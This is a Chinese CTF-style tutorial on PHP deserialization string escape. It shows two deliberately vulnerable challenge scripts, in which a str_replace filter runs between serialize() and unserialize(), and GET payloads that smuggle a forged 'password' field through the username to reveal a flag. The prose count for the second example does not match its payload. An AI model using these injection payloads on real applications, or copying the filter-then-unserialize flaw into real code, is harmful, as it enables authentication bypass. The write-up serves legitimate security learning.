PHP反序列化字符逃逸
前言
反序列化字符逃逸是最近很常见的题目,所以学习一下这个方面的知识。
正文
反序列化,理解之后。做题就没有那么难了,看了一篇微信推文,让我理解了PHP反序列化字符逃逸这个难点。
基础
<?php
class m0re{
public $aaa = '1emon';
public $bbb = 'qwzf';
public $SL = 'shalou';
}
$a = new m0re();
print_r(serialize($a));
?>
序列化结果
O:4:"m0re":3:{s:3:"aaa";s:5:"1emon";s:3:"bbb";s:4:"qwzf";s:2:"SL";s:6:"shalou";}
反序列化的过程就是碰到;}
与最前面的{
配对后,便停止反序列化。
在后面加上一些字符进行测试。像这样
仍然反序列化成功而且没有任何报错,足以说明反序列化的结束标志是;}
理解了这个就可以进行反序列化字符逃逸的学习了。
关键字符增加
反序列化逃逸的题目,会使用preg_replace
函数替换关键字符,会使得关键字符增多或减少,首先介绍使关键字符增多的。
正常序列化的结果,
替换后,字符增多,无法完成反序列化。需要做一下改动的地方是username
处,因为反序列化遇到;}
与前面的{
闭合,就会停止反序列化。后面的内容自然忽略。尝试更改username
这里username
直接传入";s:8:"password";s:3:"lin";}
在反序列化时,会在第一个;}
的位置结束反序列化。
但是替换过后,比如o
变成oo
,可是因为是当作username传入的,所以结果会是这样的
a:2:{s:8:"username";s:4:"m00re";s:8:"password";s:3:"lin";}
这里还是4,实际上应该为5,所以反序列化就会失败。
但是这个值,是可以手动改的,只要算好替换后的位数,就可以使得反序列化成功。
例题1
#m3w师傅的题目
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这里要求password=yu22x
,但是password的值已经设置好了,这里就是用反序列化字符逃逸使得原本的密码不被反序列化。
先进行序列化,在本地测试,可以将密码先改为yu22x
,然后进行序列化,
$uname=$_GET[1];
$password='yu22x';
$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
var_dump($ser);
得到结果
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:5:"yu22x";}
需要吞掉的部分是";s:8:"password";s:5:"yu22x";}
这是30个字符,每替换一次增加2个字符,所以需要15个Firebasky
才可以,所以构造payload
?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
这是需要当作username传入的参数,其实整个是
O:1:"a":2:{s:5:"uname";s:1:"?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";s:5:"yu22x";}
到第一个;}
就会停止反序列化,更改的参数也是正确的,所以后面的password=1的部分就会被吞掉(忽略)。
反序列化成功就会得到flag。
例题2
上面那个是刚好够30被吞掉,每替换一次吞掉两个字符。
所以算起来比较方便。
这个是不一样的。
#unctf
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
还是在本地替换,替换正确密码。序列化结果。
O:1:"a":2:{s:5:"uname";s:1:"?";s:8:"password";s:4:"easy";}
这个是替换一次,增加四个。而需要吞掉";s:8:"password";s:4:"easy";}
29个字符
无法正好替换,前面使用7个,则少一个,使用8个,则会多7个字符。
所以这里可以使用8个,后面使用一下占位符让其吞掉,比如;
我理解的是因为遇到;}
才会结束反序列化,所以在;前面加7个;
使得反序列化成功。
payload
?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;;;;;
或者
?1=challengechallengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";;;;;;;;}
两个payload都一样的,可以序列化成功,得到flag
总结
关键字符减少的,等遇到题目再写。
以上题目均可百度找到。
参考文章
1、http://bealright.top:8888/2020/08/24/%E6%B5%85%E6%9E%90php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%97%E7%AC%A6%E4%B8%B2%E9%80%83%E9%80%B8/